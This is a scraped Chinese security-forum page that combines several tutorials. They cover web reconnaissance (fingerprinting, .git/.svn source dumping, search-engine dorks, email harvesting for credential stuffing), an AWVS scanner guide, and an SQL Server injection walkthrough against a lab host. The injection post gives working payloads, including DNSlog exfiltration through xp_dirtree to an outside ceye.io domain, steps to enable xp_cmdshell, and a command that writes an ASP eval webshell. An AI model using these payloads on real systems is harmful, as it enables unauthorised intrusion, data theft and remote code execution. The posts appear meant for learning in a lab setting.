http://zone.secevery.com/article/245
  • 0X03:网站信息收集
  • 1、指纹识别
代码框架识别、中间件、CMS识别:     https://www.whatweb.net/     能得到的目标网站的    IP、中间件类型以及版本、语言环境(带版本)
whatweb.png
    http://www.yunsee.cn/finger.html    只能判断出一种语言环境,代码框架、中间件的版本信息。
yunsee.png
    http://whatweb.bugscaner.com/look/    代码框架、web框架为ASP.NET、语言为PHP、中间件为IIS6.0   除此之外还有一些额外的信息:同ip网站CMS查询、icp备案查询、whois查询、网站地址、服务器的操作系统、子域名查询、网站CDN服务商查询、CDN缓存命中查询。    信息还是挺多的。与上边两个相比,我更倾向于选择第三个网站,云悉的信息那么少,大概是没有登陆的缘故吧。它的账号是要购买的。
1.png
2.png
3.png
  • 2、waf识别:
    wafw00f    一个识别waf的很成熟的工具,使用方式也很简单。        github项目地址:https://github.com/EnableSecurity/wafw00f        kali上自带wafw00f,一条命令直接使用。建议最好在kali下使用,windows下的使用很麻烦。
wafw00f.png
    nmap的扩展脚本,众所周知,nmap是一个端口扫描工具。但是它额外有的扩展模块,使得它具有了识别和绕过waf的能力。
nmap.png
  • 2、敏感路径探测
  • 1、Git源码泄露
    成因及危害:当前大量开发人员使用git进行版本控制,对网站进行自动部署。如果配置不当,可能会将.git文件部署到线上环境,这就引起了git泄露漏洞。在网站安全维护方面,git和svn信息泄露,是非常常见也是非常致命的漏洞。会导致整个网站的源码泄露。    漏洞检测:        批量寻找:".git" intitle:"index of"
.git文件泄露_.png
    对单个网站进行检测:         a、githack,github上的地址:https://github.com/lijiejie/GitHack           使用方法:python GitHack.py http://xxx.com/.git/           这个直接就可以获取到网站的源码和图片该工具建议在有git工具的linux环境下使用,我在                   windows10环境下使用的时候,会报Error 10060和Error 183
.git文件泄露1_.png
.git文件泄露2_.png
手工验证的方法,如下。在kali linux下,        wget --mirror --include-directories=/.git http://www.xxx.com/.git        cd www.xxx.com    www.xxx.com文件夹是自动创建的。        git reset --hard后续学习:https://blog.csdn.net/qq_36869808/article/details/88909961     
  • 2、SVN源码泄露
    介绍:跟git一样,都是用来版本迭代的一个功能。具体一点就是使用svn checkout功能来更新代码。    产生原因以及危害:没有配置好目录访问权限,从而导致该漏洞被人利用,整个网站的源码泄露。    批量寻找:".svn" intitle:"index of"    利用工具及过程:        工具:svnExploit        github地址:https://github.com/admintony/svnExploit        利用过程:            a、判断.svn的版本信息
1---小于1.7的_.png
2---大于1.7的_.png
前者版本小于1.7,后者版本大于1.7    版本小于1.7的:        python2 SvnExploit.py -u https://xxx.com/.svn    查看信息,把泄露的文件列出来。        python2 SvnExploit.py -u https://xxx.com/.svn --dump    将网站的源码下载下来。
3---小于1.7svn利用_.png
4---小于1.7svn利用_.png
    版本大于1.7的,        1、列出所有的文件。        2、把所有的文件dump下来。
3---小于1.7svn利用_.png
6---.png
    后续钻研:https://www.cnblogs.com/batsing/p/svn-bug.html 
  • 3、网站文件备份
    直接扫目录就可以得到,工具:7kbscan、御剑都可以。
网站源码泄露.png
  • 0X04:互联网信息收集
  • (1)google和GitHub
使用谷歌关键字。例如搜索site:github.com secevery.com搜索目标公司程序员上传到GitHub上的代码和敏感信息,可能泄露如数据库连接信息、邮箱密码、uc-key、阿里的osskey、甚至是网站源代码。
GitHub搜索.png
还可以site:GitHub.com svn(smtp等) @XX.com(user,password)等在后面添加限制脚本类型或者服务类型。
  • intext:后台登录
查询页面中含有后台管理的网站,这里还可以利用site:语句(下同)指定查找的网站(包含子域名)中页面含有后台登录的站点
后台登录.png
  • intitle:管理登录  
查找网站标题中存在管理登录的页面
管理登录.png
  • filetype: pdf
查找网站中pdf格式的文件,也可以搜索网站sql或者压缩包等文件
  • inurl:  php?id=
查找url中带有php?id=的网站
  • filetype:php  site:secevery.com查找secevery中的PHP文件
类型限制.png
  • (2)shodan搜索引擎
shodan网络搜索引擎偏向网络设备(摄像头、路由器)以及服务器(端口、开启服务、服务器平台版本)的探测,具体内容可上网查阅,这里给出它的高级搜索语法。https://www.shodan.io/
路由探测.png
可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法
可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法
  • hostname:  搜索指定的主机或域名,例如 hostname:”google”
  • port:  搜索指定的端口或服务,例如 port:”21”
  • country:  搜索指定的国家,例如 country:”CN”
  • city:  搜索指定的城市,例如 city:”NanYang”
  • org:  搜索指定的组织或公司,例如 org:”google”
  • isp:  搜索指定的ISP供应商,例如 isp:”China Telecom”
  • product:  搜索指定的操作系统/软件/平台,例如 product:”Apache httpd”
  • version:  搜索指定的软件版本,例如 version:”1.6.2”
  • geo:  搜索指定的地理位置,例如 geo:”31.8639, 117.2808”
  • before/after:  搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:”11-11-15”
  • net:  搜索指定的IP地址或子网,例如 net:”210.45.240.0/24”
  
  • (3)censys搜索引擎
censys搜索引擎功能与shodan类似,偏向网络设备和服务器的信息探测。地址:https://www.censys.io/
服务器信息探测.png
搜索语法默认情况下censys支持全文检索。
  • 23.0.0.0/8 or 8.8.8.0/24  可以使用and or not
  • 80.http.get.status_code: 200  指定状态
  • 80.http.get.status_code:[200 TO 300]  200-300之间的状态码
  • location.country_code: DE  国家
  • protocols: (“23/telnet” or “21/ftp”)  协议
  • tags: scada  标签
  • 80.http.get.headers.server:nginx  服务器类型版本
  • autonomous_system.description: University  系统描述
    
  • (4)FoFa搜索引擎
FoFa搜索引擎偏向资产搜索。http://fofa.so
Image.png
搜索语法直接输入查询语句,将从标题,html内容,http头信息,url字段中搜索
  • title="abc" 从标题中搜索abc。
  • header="abc" 从http头中搜索abc。
  • body="abc" 从html正文中搜索abc。
  • domain="secevery.com" 搜索根域名带有secevery.com的网站。
  • host=".gov.cn" 从url中搜索.gov.cn,注意搜索要用host作为名称。
  • port="443" 查找对应443端口的资产。
  • ip="1.1.1.1" 从ip中搜索包含1.1.1.1的网站,注意搜索要用ip作为名称。 如果想要查询网段,可以是:ip="192.168.111.1/24",
  • protocol="https" 搜索制定协议类型(在开启端口扫描的情况下有效)。
  • city="Beijing" 搜索指定城市的资产。
  • region="Henan" 搜索指定行政区的资产。
  • country="CN" 搜索指定国家(编码)的资产。
  • cert="google.com" 搜索证书(https或者imaps等)中带有google.com的资产。
  • banner=users && protocol=ftp 搜索FTP协议中带有users文本的资产。
  • type=service 搜索所有协议资产,支持subdomain和service两种。
  • os=windows 搜索Windows资产。例: 搜索Windows资产
  • server=="Microsoft-IIS/7.5" 搜索IIS 7.5服务器。例: 搜索IIS 7.5服务器
  • app="海康威视-视频监控" 搜索海康威视设备,更多app规则。例: 搜索海康威视设备
  • after="2017" && before="2017-10-01" 时间范围段搜索。例: 时间范围段搜索
  • 高级搜索:可以使用括号 和 && || !=等符号,如
  • title="powered by" && title!=discuz
  • title!="powered by" && body=discuz
  • ( body="content=\"WordPress" || (header="X-Pingback" && header="/xmlrpc.php" && body="/wp-includes/") ) && host="gov.cn" 
  • 新增==完全匹配的符号,可以加快搜索速度,比如查找qq.com所有host,可以是domain=="qq.com"
  • (5)钟馗之眼(Zoomeye)
 钟馗之眼搜索引擎偏向web应用层面的搜索。地址:https://www.zoomeye.org/
Image.png
搜索语法
  • app:nginx  组件名
  • ver:1.0  版本
  • os:windows  操作系统
  • country:”China”  国家
  • city:”hangzhou”  城市
  • port:80  端口
  • hostname:google  主机名
  • site:thief.one  网站域名
  • desc:nmask  描述
  • keywords:nmask’blog  关键词
  • service:ftp  服务类型
  • ip:8.8.8.8  ip地址
  • cidr:8.8.8.8/24  ip地址段
  • (6)邮箱收集

--首先确定邮件服务器本身有没有什么错误配置,没有禁用VRFY或EXPN命令导致的用户信息泄露,如果有可以直接把目标的邮件用户都爆出来,也可以尝试弱口令。
第一手邮箱.png

--收集目标的各类webmail入口。
找目标的各种webmail入口,不一定有,但这也是为了后面一旦拿到密码尝试撞库的手段,如果用的是某种开源WEB邮件程序,也可以尝试找对应版本的exp。
--提取whois邮箱去搜索引擎搜索,拿到旧密码可以去社工库去撞库。
--直接从目标站点查找邮箱。一般的网站都有的"联系我们"之类的链接或许就是邮箱,当然如果是[email]support@target.com[/email]或者[email]info@target.com[/email]这种邮箱直接忽略,我们需要有互动的邮箱,拿到后都试一试撞一撞库和搜索引擎跑一跑。
邮箱3.png

---利用各种工具直接抓取目标邮箱
theharvester:一个比较老的邮箱抓取脚本,主要是从各种搜索引擎抓取邮箱,抓取后的文档杂乱需要自己筛选分析。
https://github.com/laramies/theHarvester下载或者Kali直接运行。
-d 参数指定目标域
-l 参数指定数量
-b 参数指定端口
-s 指定起始数值
theharvester收集邮箱.png

TheHarvester+Hydra可以大量扫描弱口令账户。
也可以使用metasploit的 auxiliary/gather/search_email_collector 模块:

 
msfconsole打开MSF控制台,输入use auxiliary/gather/search_email_collector,然后set domain XXmail.com设置目标邮件网站,然后show options显示搜索来源,exploit

MSF搜索邮箱.png

目前使用菜单内的google选项去搜索邮箱需要翻墙,直接用如图。

两种方法都可以将结果保存为文件然后使用hydra爆破。
(7)历史漏洞信息
虽然乌云关了但是镜像上面还有大量企业漏洞信息,此外CNVD,seebug等平台
也能查找一些企业历史漏洞信息。
乌云镜像.png

 
0X05:人力资源情报收集
(1)招聘信息
用google从招聘网站找到信息再去查找企业信息
招聘信息收集1.png

招聘信息收集2.png

通过招聘信息我们找到了公司全称和负责人构成和邮箱电话等信息。
通过这些信息可以与前面的WHOIS反查结合。
 
社会工程学方面的知识太繁杂就先不讨论了。
参考:
https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/
https://www.secpulse.com/archives/74312.html
https://www.freebuf.com/articles/web/190403.html
http://www.davex.pw/2016/07/01/How-To-Fuzz-Sub-Domain/
https://www.freebuf.com/articles/web/179043.html
https://cloud.tencent.com/developer/article/1180157
https://klionsec.github.io/2014/12/22/email-collector/
https://www.secpulse.com/archives/69237.html
https://yq.aliyun.com/articles/366927
https://www.secpulse.com/archives/29475.html
http://www.lijiejie.com/ds_store_exp_ds_store_file_disclosure_exploit/
https://zhuanlan.zhihu.com/p/22161675
https://zhuanlan.zhihu.com/p/22407076
https://www.jianshu.com/p/d2af08e6f8fb
https://blog.csdn.net/zvall/article/details/50115815

AWVS 11使用

flaray 发表了文章 • 0 个评论 • 186 次浏览 • 2019-07-11 17:57 • 来自相关话题

0x01:Dashboard:仪表盘主页面。显示扫描结果和漏洞类型




0X02:Targets:目标。
点击Add Target添加目标。




0x03:General:一般扫描。






基础设置完成点击"scan"开始扫描目标网站。




























使用登录序列记录器得到了登录凭证












基础设置完成点击"scan"开始扫描目标网站




扫描类型有:完全扫描、高风险漏洞扫描、XSS扫描、SQL注入扫描、弱口令扫描等。
报告生成类型:受影响人、开发人员、执行人员、快报和一些专业报告如CWE 2011报告。
然后等待扫描结果生成。
0x04:Vulnerabilities:漏洞
包含不同分类的漏洞和生成报告






0X05:Reports 报告
报告的生成与导出。注:导出的报告是英文的。

  查看全部
0x01:Dashboard:仪表盘主页面。显示扫描结果和漏洞类型
045ccf055f52af7da776d28d15a08c5d_副本.png

0X02:Targets:目标。
点击Add Target添加目标。
Image.png

0x03:General:一般扫描。

TIM截图20190715101025.png


基础设置完成点击"scan"开始扫描目标网站。
Image.png

Image.png


20180110232433713599_副本.png


20180110232433717505_副本.png


20180110232433718482_副本.png


20180110232433720435.png

使用登录序列记录器得到了登录凭证
Image.png

812dfb006a12760c7e3c292d02ef3278_副本.png

Image.png

基础设置完成点击"scan"开始扫描目标网站
Image.png

扫描类型有:完全扫描、高风险漏洞扫描、XSS扫描、SQL注入扫描、弱口令扫描等。
报告生成类型:受影响人、开发人员、执行人员、快报和一些专业报告如CWE 2011报告。
然后等待扫描结果生成。
0x04:Vulnerabilities:漏洞
包含不同分类的漏洞和生成报告

4271e2d0e4cf97d8ae6e4a75e8bae4a6_副本.png


0X05:Reports 报告
报告的生成与导出。注:导出的报告是英文的。

 

SQL server 注入小结

llpkk 发表了文章 • 0 个评论 • 307 次浏览 • 2019-07-10 16:58 • 来自相关话题

1.SQL server 的基础知识部分
   (1)了解SQL server 系统库
   (2)学习master库中的三个视图
   (3)注释符以及各种信息探测
   (4)如何利用top进行单行查询
2.UNION 联合查询注入
3.SQL server 的报错注入
    (1)收集各种bypass
    (2)having语法注入
4.SQL server 盲注 
    (1)正常的布尔盲注或时间盲注
   (2)DNSlog注入---首选
5.开启xp_cmdshell到获取webshell

Tip:测试环境为win server 2008 
中间件:iis7.5         数据库版本:SQL server 2008 
 
------------------------------------------------------------
0x00 SQL server 的基础知识部分
 
1.系统库的简介
Sqlserver数据库有四个系统数据库,分别是master,model,msdb,tempdb。我们最经常使用到的时master库,它与MySQL中的information_schema库有几分相似,都存储了所有数据库库名(sysdatabases),表名(sysobjects),字段名(syscolumns)。
而我们在注入的过程当中就要用的master库中的这三个视图,无论是联合查询注入还是盲注与DNSlog注入都离不开这三个视图表。

系统库简述:
master 用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。model SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础msdb 由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。tempdb 它为临时表和其他临时工作提供了一个存储区。2.三个视图的简单使用(sysdatabases,sysobjects,syscolumns)(1)查询所有的数据库名select *from master..sysyatabases


这条语句会显示出数据库的所有信息,其中我们应用到的有name和dbid这俩个字段。而我们通常只需要知道名称即可,所以用到了如下语句:select name from master..sysdatabases


 (2)查询数据库中所有的表名select name from master..sysobjects where Xtypee = 'x'


(3)查询表中所有的列名select * from databases..table例如:select * from test..test


(4)查询字段select * from test..syscolumns where xtype=167


Tip:在对sysobjects和syscolumns使用的时候我们需要增加一个xtype作为限制条件,而在两个视图当中也都有着不同的含义。具体参照:https://www.cnblogs.com/zhaomengmeng/p/4933828.html 3.注释符以及各种信息探测(1)注释风格/*--    常用;(2)空白格字符(多用来绕过WAF)01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,1415,16,17,18,19,1A,1B,1C,1D,1E,1F,20/**/(3)常用运算符号+ 加法运算-   减法运算* 乘法运算/           除法运算& 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0| 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0(4)基础信息探测@@VERSION,@@SERVERNAME,@@SERVICENAME;--Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008--MSSQLSERVERUSER,CURRENT_USER,SESSION_USER,SYSTEM_USER;--dbo--dbo--dbo--saUSER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME();--dbo--wyb--46530--saUSER_ID(),USER_SID();--1--<01>ORIGINAL_LOGIN();--sa   4.利用top进行限制查询在mysql注入中我们会遇到一行不能够显示多列的情况,解决的方法是利用limit m,n进行控制,将数据逐行输出。而在SQL server中也有这样的情况(尤其是利用DNSlog注入时),我们就可以用如下两种方法做到与limit m,n 同样的效果①:在查询数据库名称时利用dbid进行限制查询由于dbid是系统数据库所特有的,所有可以依次从1到n注出所有的数据库名


②:在查询表和字段时利用top语法进行查询在sysobjects和syscolumns视图当拥有大量的数据,如果依据id值进行限制会非常的繁琐,浪费时间。所以可以用到如下sql查询语法:取第m条到第n条记录 select top (n-m+1) id from tablename  where id not in (    select top m-1 id from tablename  )具体利用:


这样我们在DNSlog注入时才能拼接完整的payload   0x01 UNION SELECT 联合查询注入SQL server中的联合查询注入和MySQL中的联合查询注入非常相似,但是也有不同的地方。相同点是都必须要有回显位,并且要与列数相同。不同的是MySQL占位符一般用1,2,3,4数字,而SQL server中要用到null作为占位符。因为如果用数字的话会牵扯到隐式转化的问题而导致无法有正常的回显。联合查询注入过程:首先利用 order by 语句查询出有几列





查询出有4列后进行联合查询注入 ,首先查出所有数据库名。


 之后爆出test库下的所有表


 爆出message表下的所有字段


 之后可以任意的查询字段值了 0x02 SQL server 的报错注入报错注入相对简单很多,但前提是网站管理员打开了报错界面的详细信息,而对于粗心的管理员的话就非常有可能忘记关闭了。在报错注入中我们最重要的是收集一些bypass,如果碰到WAF也可以尝试绕过. http://zone.secevery.com/article/1055这是上次在社区发的mssql报错注入,这里就不再赘述。 利用having语法注入如果页面开启了报错页面的详细信息,我们也可以用having语法直接爆出列名,利用手法是在每一次爆出列名后再加上爆出的列名一直进行。 


爆出列名id,我们利用group by构造出如下语句爆出下一个列名


之后依次爆出所有的列名之后页面就会返回正常页面


 0x03 SQL server 盲注大多数的站很少会开启报错页面,盲注是比较常见的类型。基本的盲注分为布尔型盲注和时间盲注,但这两种注入都非常浪费时间,解决盲注时间问题的方法无非是写脚本或者利用DNSlog,而DNSlog注入的方式会大大减少注入的时间,所以也是首选的方法。在sql server中布尔盲注也没有太多的手法,依然是分割字符串并用ascii函数和二分法进行比较依次得出整个字符串。而用到的语句也是在0x00中写到的最基本的三个视图的基本利用。1.普通盲注payload:and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109其中的select top 1 name from master.dbo.sysdatabases 就是我们要查询的内容并且进行分割​,方法很直白,不进行演示。2.DNSlog注入DNSlog注入的基本原理是将查询出来的字符进行拼接之后进行访问xxxxx.ceye.io及其子域名,产生出DNSlog日志,通过查看日志我们就可以看到我们所查询出来的内容。而在这时,我们学习的单行查询就很重要了,因为在拼接URL的时候,只能拼接一个单词作为子域名进行访问,如果是多个的话就不会产生DNS日志。这里有一个知道创宇的DNS平台:http://ceye.io SQL server 的DNSlog注入语句;use flag;declare @a char(128);set @a='\\'%2b(select top 1 * from tt_tmp)%2b'.py88oq.ceye.io';exec master..xp_dirtree @a;演示:查出第一个数据库的库名为master





 然后我们利用sysdatabases的dbid字段查询处dbid=5时的用户创建的数据库为testhttp://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=5)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--


查出test的各个表名http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20top%201%20name%20from%20test..sysobjects%20where%20xtype=%27U%27)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--


可以看出表message,test,tt_tmp


 DNSlog注入还可以对MySQL,oracle数据库还有一些CMS都有利用,非常强大。具体的注入细节问题访问:https://www.jianshu.com/p/ba52cf6e47db 0x04 开启xp_cmdshell获取webshellxp_cmdshell在SQL server 2005版本以上是默认关闭的,我们需要手动打开它,但在此之前我们需要进行第一步:判断是否存在组件xp_cmdshell;if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'如果延迟5s后返回正常页面的话则判断存在组件xp_cmdshell。如果删除了xp_cmdshell组件的话可以用下面的命令恢复恢复/删除 xp_cmdshellexec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'exec sp_dropextendedproc 'xplog70.dll'开启xp_cmdshell# 关闭xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;# 启用xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;成功开启xp_cmdshell之后,我们要进行的最重要的一步就是找到网站的根路径,这里也是较难的一点。下面有两种方法:找到报错页面得到物理路径,如404页面。查找网站文件并把路径写入到临时表当中
 
1.对于一些粗心的网站管理员可能404等错误页面是iis默认的报错页面,而这个报错页面就会暴露出网站的物理路径,此时我们就可以写一个shell文件进去。






2.在大佬博客上看到的找物理路径的方法是找到一个网站文件,将其路径写入临时表后再使用sqlmap跑出来。具体思路如下:
在数据库tempdb创建临时表temp​;use test;create table tt_tmp (tmp1 varchar(1000));创建完成之后使用sqlmap可以看到成功创建表temp





 
Sqlmap命令: python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test --tables​




 
之后我们将char.asp文件的路径写入到该字段当中;use test;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b c:\char.asp';




 
(加粗【c:\char.asp】部分的c盘是测试出来的,总共就C,D,E,F几个盘,依次试一试就能成功)

这个语句回车之后的响应时间会稍微长一点,是因为将很数据插入到表中需要一定时间

Sqlmap命令:python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test -T tt_tmp -C tmp1 --dump




 
这样我们成功的查询到了网站的根路径,随后我们尝试写入一句话;exec master..xp_cmdshell 'echo ^<script language=vbs runat=server^>eval(request("c"))^</script^> > c:\\inetpub\\wwwroot\\shell.asp';执行之后返回正常界面,我们访问192.168.10.19/shell.asp观察






返回状态码200,asp内容已经被成功解析,查看靶机是否被成功写入。






成功写入一句话木马,尝试才到连接










成功获取webshell
 
0x05 总结
这次总结的sql server 注入的过程中踩过很多的坑,并且再讲的过程中老师也给出了答案并且给了很多的补充和新的想法。在利用系统视图查看用户数据库信息时也可以通过别的视图更加方便的查找到数据。
查看表名:select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0查看字段名:select top 1 COLUMN_NAME from 【数据库名称】.information_schema.columns where TABLE_NAME='【表名称】'
总结一遍下来感觉自己的知识还需要更加巩固,学习的东西还有很多,而我也会在采坑的过程中成长。
 
参考文献:
http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell/
微信公众号---安全祖师爷
https://www.jianshu.com/p/ba52cf6e47db
https://www.cnblogs.com/zhaomengmeng/p/4933828.html
 
 
 

 
  查看全部
1.SQL server 的基础知识部分
   (1)了解SQL server 系统库
   (2)学习master库中的三个视图
   (3)注释符以及各种信息探测
   (4)如何利用top进行单行查询

2.UNION 联合查询注入
3.SQL server 的报错注入
    (1)收集各种bypass
    (2)having语法注入

4.SQL server 盲注 
    (1)正常的布尔盲注或时间盲注
   (2)DNSlog注入---首选

5.开启xp_cmdshell到获取webshell

Tip:测试环境为win server 2008 
中间件:iis7.5         数据库版本:SQL server 2008 

 
------------------------------------------------------------
0x00 SQL server 的基础知识部分
 
1.系统库的简介
Sqlserver数据库有四个系统数据库,分别是master,model,msdb,tempdb。我们最经常使用到的时master库,它与MySQL中的information_schema库有几分相似,都存储了所有数据库库名(sysdatabases),表名(sysobjects),字段名(syscolumns)。
而我们在注入的过程当中就要用的master库中的这三个视图,无论是联合查询注入还是盲注与DNSlog注入都离不开这三个视图表。


系统库简述:
  • master 用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
  • model SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
  • msdb 由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
  • tempdb 它为临时表和其他临时工作提供了一个存储区。
2.三个视图的简单使用(sysdatabases,sysobjects,syscolumns)(1)查询所有的数据库名
select *from master..sysyatabases
图片1.png
这条语句会显示出数据库的所有信息,其中我们应用到的有name和dbid这俩个字段。而我们通常只需要知道名称即可,所以用到了如下语句:
select name from master..sysdatabases
图片2.png
 (2)查询数据库中所有的表名
select name from master..sysobjects where Xtypee = 'x' 
图片3.png
(3)查询表中所有的列名
select * from databases..table
例如:select * from test..test
图片4.png
(4)查询字段
select * from test..syscolumns where xtype=167
图片4.png
Tip:在对sysobjects和syscolumns使用的时候我们需要增加一个xtype作为限制条件,而在两个视图当中也都有着不同的含义。具体参照:https://www.cnblogs.com/zhaomengmeng/p/4933828.html 3.注释符以及各种信息探测(1)注释风格
  • /*
  • --    常用
  • ;
(2)空白格字符(多用来绕过WAF)
  • 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,1415,16,17,18,19,1A,1B,1C,1D,1E,1F,20
  • /**/
(3)常用运算符号
  • + 加法运算
  • -   减法运算
  • * 乘法运算
  • /           除法运算
  • & 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0
  • | 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0
  • ^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0
(4)基础信息探测
@@VERSION,@@SERVERNAME,@@SERVICENAME;--Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008--MSSQLSERVERUSER,CURRENT_USER,SESSION_USER,SYSTEM_USER;--dbo--dbo--dbo--saUSER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME();--dbo--wyb--46530--saUSER_ID(),USER_SID();--1--<01>ORIGINAL_LOGIN();--sa
   4.利用top进行限制查询在mysql注入中我们会遇到一行不能够显示多列的情况,解决的方法是利用limit m,n进行控制,将数据逐行输出。而在SQL server中也有这样的情况(尤其是利用DNSlog注入时),我们就可以用如下两种方法做到与limit m,n 同样的效果①:在查询数据库名称时利用dbid进行限制查询由于dbid是系统数据库所特有的,所有可以依次从1到n注出所有的数据库名
图片6.png
②:在查询表和字段时利用top语法进行查询在sysobjects和syscolumns视图当拥有大量的数据,如果依据id值进行限制会非常的繁琐,浪费时间。所以可以用到如下sql查询语法:取第m条到第n条记录 
select top (n-m+1) id from tablename  where id not in (    select top m-1 id from tablename  )具体利用:
图片7.png
这样我们在DNSlog注入时才能拼接完整的payload   0x01 UNION SELECT 联合查询注入SQL server中的联合查询注入和MySQL中的联合查询注入非常相似,但是也有不同的地方。相同点是都必须要有回显位,并且要与列数相同。不同的是MySQL占位符一般用1,2,3,4数字,而SQL server中要用到null作为占位符。因为如果用数字的话会牵扯到隐式转化的问题而导致无法有正常的回显。联合查询注入过程:首先利用 order by 语句查询出有几列
图片8.png
图片9.png
查询出有4列后进行联合查询注入 ,首先查出所有数据库名。
图片10.png
 之后爆出test库下的所有表
图片11.png
 爆出message表下的所有字段
图片12.png
 之后可以任意的查询字段值了 0x02 SQL server 的报错注入报错注入相对简单很多,但前提是网站管理员打开了报错界面的详细信息,而对于粗心的管理员的话就非常有可能忘记关闭了。在报错注入中我们最重要的是收集一些bypass,如果碰到WAF也可以尝试绕过. http://zone.secevery.com/article/1055这是上次在社区发的mssql报错注入,这里就不再赘述。 利用having语法注入如果页面开启了报错页面的详细信息,我们也可以用having语法直接爆出列名,利用手法是在每一次爆出列名后再加上爆出的列名一直进行。 
图片13.png
爆出列名id,我们利用group by构造出如下语句爆出下一个列名
图片14.png
之后依次爆出所有的列名之后页面就会返回正常页面
图片15.png
 0x03 SQL server 盲注大多数的站很少会开启报错页面,盲注是比较常见的类型。基本的盲注分为布尔型盲注和时间盲注,但这两种注入都非常浪费时间,解决盲注时间问题的方法无非是写脚本或者利用DNSlog,而DNSlog注入的方式会大大减少注入的时间,所以也是首选的方法。在sql server中布尔盲注也没有太多的手法,依然是分割字符串并用ascii函数和二分法进行比较依次得出整个字符串。而用到的语句也是在0x00中写到的最基本的三个视图的基本利用。1.普通盲注payload:
and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109
其中的select top 1 name from master.dbo.sysdatabases 就是我们要查询的内容并且进行分割​,方法很直白,不进行演示。2.DNSlog注入DNSlog注入的基本原理是将查询出来的字符进行拼接之后进行访问xxxxx.ceye.io及其子域名,产生出DNSlog日志,通过查看日志我们就可以看到我们所查询出来的内容。而在这时,我们学习的单行查询就很重要了,因为在拼接URL的时候,只能拼接一个单词作为子域名进行访问,如果是多个的话就不会产生DNS日志。这里有一个知道创宇的DNS平台:http://ceye.io SQL server 的DNSlog注入语句
;use flag;declare @a char(128);set @a='\\'%2b(select top 1 * from tt_tmp)%2b'.py88oq.ceye.io';exec master..xp_dirtree @a;
演示:查出第一个数据库的库名为master
图片16.png
图片17.png
 然后我们利用sysdatabases的dbid字段查询处dbid=5时的用户创建的数据库为test
http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=5)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--
图片18.png
查出test的各个表名
http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20top%201%20name%20from%20test..sysobjects%20where%20xtype=%27U%27)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--
图片19.png
可以看出表message,test,tt_tmp
图片20.png
 DNSlog注入还可以对MySQL,oracle数据库还有一些CMS都有利用,非常强大。具体的注入细节问题访问:https://www.jianshu.com/p/ba52cf6e47db 0x04 开启xp_cmdshell获取webshellxp_cmdshell在SQL server 2005版本以上是默认关闭的,我们需要手动打开它,但在此之前我们需要进行第一步:判断是否存在组件xp_cmdshell
;if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'
如果延迟5s后返回正常页面的话则判断存在组件xp_cmdshell。如果删除了xp_cmdshell组件的话可以用下面的命令恢复恢复/删除 xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'exec sp_dropextendedproc 'xplog70.dll'
